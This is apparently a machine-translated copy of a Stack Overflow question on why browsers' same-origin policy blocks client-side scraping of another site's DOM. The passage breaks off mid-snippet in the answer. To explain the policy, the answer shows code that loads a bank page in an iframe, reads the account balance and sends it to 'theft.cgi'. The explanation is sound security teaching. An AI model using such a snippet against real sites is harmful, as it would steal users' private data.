同源政策目的|用户数据与基本页面数据|客户端页面Scrapes

时间:2012-09-07 13:06:56

标签: php javascript

我想在客户端抓取页面而不是服务器端。然而,同源政策阻止我这样做。

我想要了解的是为什么我没有对另一个网站的DOM的只读权限。

如果我可以通过将页面拉到服务器并以任何方式访问它来获取相同的信息,这对网站造成了什么安全风险。

我只是想从以下页面中提取基本信息:

document.title

如果我可以做到这一点服务方,为什么客户方不这样做?主要的区别是我不想支付额外的往返费用?

显然用户的数据不应该是可访问的,这很明显,我不需要这方面的信息。但同样地,我可以使用

引入页面的通用版本
file_get_contents

并解析DOM,我想做客户端。

技术限制是什么,不允许JavaScript确定...允许访问用户定义数据与通用页面数据之间的区别?

PHP可以做到。

为什么JavaScript不能?

这是什么限制?

我不想一定要绕过它或破解它,但是更好地理解目的并且可能发现它不适用于我的情况...页面刮擦客户端

相关

Ways to circumvent the same-origin policy

Same origin policy

How are bookmarklets( javascript in a link ) verfied by servers? How is security kept?

http://en.wikipedia.org/wiki/Representational_state_transfer#Central_principle

1 个答案:

答案 0 :(得分:1)

  

为什么我没有对另一个网站的DOM的只读访问权限

您的用户可以在任何指定网站上访问的数据可能与您在该网站上可以访问的数据不同。

由于用户可能被各种事物(包括IP地址)识别,因此浏览器无法清理所有个人信息的数据。

过于简单的插图:

<iframe src="your bank" id="frame"></iframe>
<script>
    var bank = document.getElementById('frame').contentDocument;
    var stolen = bank.getElementById('account_balance').innerText;
    ajax('theft.cgi', stolen);